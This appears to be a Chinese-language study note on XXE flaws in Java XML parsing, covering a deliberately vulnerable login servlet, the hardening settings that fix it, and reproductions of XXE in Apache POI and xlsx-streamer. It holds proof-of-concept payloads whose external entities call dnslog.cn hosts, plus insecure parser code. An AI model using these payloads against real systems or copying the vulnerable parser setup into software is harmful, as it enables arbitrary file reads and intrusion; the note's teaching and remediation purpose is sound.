Java EXCEL XXE
前言:自己在学习mybatis和spring中大量的遇到xml,所以借此机会顺便了解下xml
Java解析XML机制
环境代码
public class LoginServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final String USERNAME = "admin";
private static final String PASSWORD = "admin";
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder;
String result="";
try {
documentBuilder = documentBuilderFactory.newDocumentBuilder();
//dbf.setExpandEntityReferences(false);
Document doc = documentBuilder.parse(request.getInputStream());
String username = getValueByTagName(doc,"username");
String password = getValueByTagName(doc,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}
public static String getValueByTagName(Document doc, String tagName){
if(doc == null || tagName.equals(null)){
return "";
}
NodeList pl = doc.getElementsByTagName(tagName);
if(pl != null && pl.getLength() > 0){
return pl.item(0).getTextContent();
}
return "";
}
}
最重要的其实也就几行:
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder;
documentBuilder = documentBuilderFactory.newDocumentBuilder();
//dbf.setExpandEntityReferences(false);
Document doc = documentBuilder.parse(request.getInputStream());
DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance方法 ,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
流程为如下所示:
修复方法:禁止引用外部实体
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
// 读取xml文件内容
FileInputStream fis = new FileInputStream("path/to/xxexml");
InputSource is = new InputSource(fis);
Document doc = builder.parse(is);
重新进行测试可以发现,已经被禁止引用外部实体了,导致xxe漏洞不存在!
环境测试
poc如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANYTHING [
<!ENTITY % test SYSTEM "http://rce.ufmak7.dnslog.cn">
%test;
更新于:2021.5.16
回显代码:
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder;
try {
documentBuilder = documentBuilderFactory.newDocumentBuilder();
Document document = documentBuilder.parse(request.getInputStream());
// 遍历xml节点name和value
StringBuffer buf = new StringBuffer();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
}
}
System.out.println(buf.toString());
response.getWriter().print(buf);
} catch (Exception e) {
System.out.println(e);
}
}
无回显代码:
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder;
try {
documentBuilder = documentBuilderFactory.newDocumentBuilder();
Document document = documentBuilder.parse(request.getInputStream());
// 遍历xml节点name和value
StringBuffer buf = new StringBuffer();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
buf.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n");
}
}
}
System.out.println(buf.toString());
response.getWriter().print(buf);
} catch (Exception e) {
System.out.println(e);
}
}
参考文章:https://xz.aliyun.com/t/7272#toc-4
扩展知识
另外的一些java库的使用,如果配置不当的话也会造成xxe的漏洞,如下所示:
-
SAXBuilder(默认解析配置会造成xxe)
-
SAXParserFactory(默认解析配置会造成xxe)
-
SAXReader(默认解析配置会造成xxe)
-
SAXTransformerFactory(默认解析配置会造成xxe)
-
SchemaFactory(默认解析配置会造成xxe)
-
TransformerFactory(默认解析配置会造成xxe)
-
ValidatorSample(默认解析配置会造成xxe)
-
XMLReader(默认解析配置会造成xxe)
-
Unmarshaller(默认解析配置不会造成xxe)
Poi ooxml XXE
上面的讲完了,再记录一些java的历史解析xml的组件造成xxe漏洞的例子
CVE-2014-3529
Apache POI是提供Microsoft Office系列文档读、写功能的JAVA类库,Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体读取任意文件。
漏洞范围:poi-ooxml-3.10-FINAL.jar及以下版本
导入pom依赖:
解析xlsx文件代码如下:
public class Test {
public static void main(String[] args) throws IOException {
File f = new File("C:\\Users\\dell\\Desktop\\ALL\\javaidea\\java-excel-xxe\\test.xlsx");
FileInputStream in = new FileInputStream(f);
XSSFWorkbook wb = new XSSFWorkbook(in); // xxe vuln
XSSFSheet sheet = wb.getSheetAt(0);
int total = sheet.getLastRowNum();
for (Row row : sheet){
for (Cell cell :row){
System.out.println(cell.getStringCellValue());
}
System.out.println("expection");
}
}
}
修改其中的[Content_Types].xml内容:
漏洞分析
最终获取一个Document的对象,该对象就是已经解析完xml所返回的document对象
那么这里就来看如何进行解析xml的,跟进去,可以发现先调用newDocumentBuilder函数,生成builder类,然后接着开始进行解析传入的xml数据
生成的builder类并没有进行任何的限制
最后返回的builder类就直接对xml进行了解析操作,最终导致了xxe的产生
xlsx-streamer XXE
接着你可能看文章还会看到奇奇怪怪的,会发现有时候改的并不是[Content_Types].xml,而是xl/workbook.xml,这个是另外一个洞,发生在组件xlsx-streamer上的!
当Excel中的数据量较大时,在用Apache POI读取文件流时很容易引起失败,需要引入xlsx-streamer来进行资源的解析。而xlsx-streamer的2.0.0及以下版本被发现允许远程攻击者通过注入XML外部实体读取任意文件。
漏洞范围:xlsx-streamer.jar-2.0.0及以下版本
导入pom依赖:
<!-- https://mvnrepository.com/artifact/com.monitorjbl/xlsx-streamer -->
<dependency>
<groupId>com.monitorjbl</groupId>
<artifactId>xlsx-streamer</artifactId>
<version>2.0.0</version>
</dependency>
其实你会发现,这个其实就是封装了apache poi而成的组件,如下所示:
并且还可以看到其实这个这个组件迭代的版本不是很快,如果用这个的说不定xxe的漏洞存在性比较大
解析xlsx文件代码如下:
public class Test2 {
public static void main(String[] args) throws FileNotFoundException {
File f = new File("C:\\Users\\dell\\Desktop\\ALL\\javaidea\\java-excel-xxe\\xlsx_streamer_xxe.xlsx");
FileInputStream fileInputStream = new FileInputStream(f);
Workbook workbook = StreamingReader.builder().open(fileInputStream);
Sheet sheet = workbook.getSheetAt(0);
for (Row row : sheet){
for (Cell cell :row){
System.out.println(cell.getStringCellValue());
}
System.out.println("");
}
}
}
替换xlsx的xl/workbook.xml,为如下内容:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY wwwww SYSTEM "http://xxe.rgs7he.dnslog.cn">
]>
<foo>&wwwww;</foo>